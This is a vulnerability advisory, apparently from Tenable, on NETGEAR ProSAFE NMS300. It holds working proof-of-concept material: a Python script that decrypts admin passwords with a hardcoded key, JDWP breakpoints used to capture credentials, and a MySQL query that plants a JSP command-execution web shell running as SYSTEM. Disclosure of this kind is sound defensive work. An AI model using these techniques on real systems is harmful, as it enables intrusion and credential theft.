NETGEAR ProSAFE Network Management System (NMS300) Multiple Vulnerabilities

Tenable has found multiple vulnerabilities in NETGER ProSAFE Network Management System (NMS300) v1.7.0.26.

Java Debug Wire Protocol (JDWP) RCE (CVE-2023-49693)

NSM300 has JDWP enabled on port 11611 and it's remotely accessible:

PS C:\Program Files\NMS300> Get-ItemPropertyValue -Path 'HKLM:\SOFTWARE\WOW6432Node\Apache Software Foundation\Procrun 2.0\NMS300_Server\Parameters\Java\' -Name Options
-Dcatalina.base=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33
-Dcatalina.home=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33
-Djava.endorsed.dirs=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\endorsed
-Xdebug
-Xrunjdwp:transport=dt_socket,address=11611,server=y,suspend=n
-Djava.io.tmpdir=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\temp
-Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager
-Djava.util.logging.config.file=C:\Program Files\NMS300\NMS300\apache-tomcat-6.0.33\conf\logging.properties

A metasploit module (exploit/multi/misc/java_jdwp_debugger) exists to exploit the JDWP RCE.

In addition, an unauthenticated remote attacker can attach to the NMS300 server (via JDWP) to intercept user login requests to grab user credentials. For example, the attacker can break into com.elite.wifi.manager.dbservice.user.UserService.userLogin() and then com.elite.wifi.manager.utils.AESSaltEncryptUtil.decrypt() to learn about the admin password:

Breakpoint hit: "thread=http-8080-3", com.elite.wifi.manager.utils.AESSaltEncryptUtil.decrypt(), line=59 bci=0
Method arguments:
encry = "lxUCViqkXpl4/wZXIyKjxQ=="
password = "NMS300_Server_Secret"
salt = "HZksRpZl8YARoyIgT3U6UT4phw370HJrk3wuY+Q2G3CO12sWkGMtjyEZf0JXOokSucv8b2lC0oY+juyIduKU/lNvIdZHwPhMV930b4DuaXF5HUtEr5bupPpY6QeWi7QNcR5hU1SD2vdr1waMVgoiPPxickNlVstyn8blALtO8D6j/vaCupOAwhzDbzsl7UhSTJZ8hP995dYzYCymoMoBkjEa1Dj5JE/mZVxYaNh1SEZPwFAtUHD5kKUjYj2ERczqQ8jKT/UirQcktMoEcKSdS20g/DXL2gyGRcnF50747B97vCRAiGID6I6gxcu4Pei1wux3IQmUevUP8VUc1aB71g=="
Local variables:
http-8080-3[1] http-8080-3[1]

The encrypted password can then be decrypted with the following python script:

import sys, base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Hash import SHA1
data = base64.b64decode(sys.argv[1])
salt= base64.b64decode(sys.argv[2])
pw = 'NMS300_Server_Secret'
if len(sys.argv) == 4: pw = sys.argv[3]
key = PBKDF2(pw.encode(), salt, 32, 1000, None, SHA1)
iv = 'NMS300_Server_IV'.encode()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print('\n' + cipher.decrypt(data).decode())

Usage:

python3 nms300_decrypt.py <base64_encoded_encrypted_data> <base64_encoded_salt>

Example output:

python3 nms300_decypt.py "lxUCViqkXpl4/wZXIyKjxQ=="  "HZksRpZl8YARoyIgT3U6UT4phw370HJrk3wuY+Q2G3CO12sWkGMtjyEZf0JXOokSucv8b2lC0oY+juyIduKU/lNvIdZHwPhMV930b4DuaXF5HUtEr5bupPpY6QeWi7QNcR5hU1SD2vdr1waMVgoiPPxickNlVstyn8blALtO8D6j/vaCupOAwhzDbzsl7UhSTJZ8hP995dYzYCymoMoBkjEa1Dj5JE/mZVxYaNh1SEZPwFAtUHD5kKUjYj2ERczqQ8jKT/UirQcktMoEcKSdS20g/DXL2gyGRcnF50747B97vCRAiGID6I6gxcu4Pei1wux3IQmUevUP8VUc1aB71g=="
AdminPass123

Privilege Escalation Via MySQL Server (CVE-2023-49694)

A low-privileged OS user with access to a Windows host where NMS300 is installed can create arbitrary JSP files in a Tomcat web application directory. The user can then execute the JSP files under the security context of SYSTEM.

PoC:

PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> whoami /groups
GROUP INFORMATION
-----------------
Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users           Alias            S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON  Well-known group S-1-5-14     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE               Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization         Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account             Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                  Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication       Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label            S-1-16-8192
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin>
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> .\mysql.exe -h localhost -P 3311 -u root --password=root -D nms300_db
[...]
mysql> select '<%@ page import="java.io.*" %> <% Process p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameterValues("c")[0]); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));String s; while((s = br.readLine()) != null) out.println(s); %>' INTO DUMPFILE 'C:\\Program Files\\NMS300\\NMS300\\apache-tomcat-6.0.33\\webapps\\ROOT\\cmd.jsp';
Query OK, 1 row affected (0.00 sec)
mysql> quit
Bye
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin> Invoke-WebRequest -UseBasicParsing -Uri http://localhost:8080/cmd.jsp?c=whoami | select -ExpandProperty  Content
nt authority\system
PS C:\Program Files\NMS300\NMS300\MySQL Server 5.5\bin>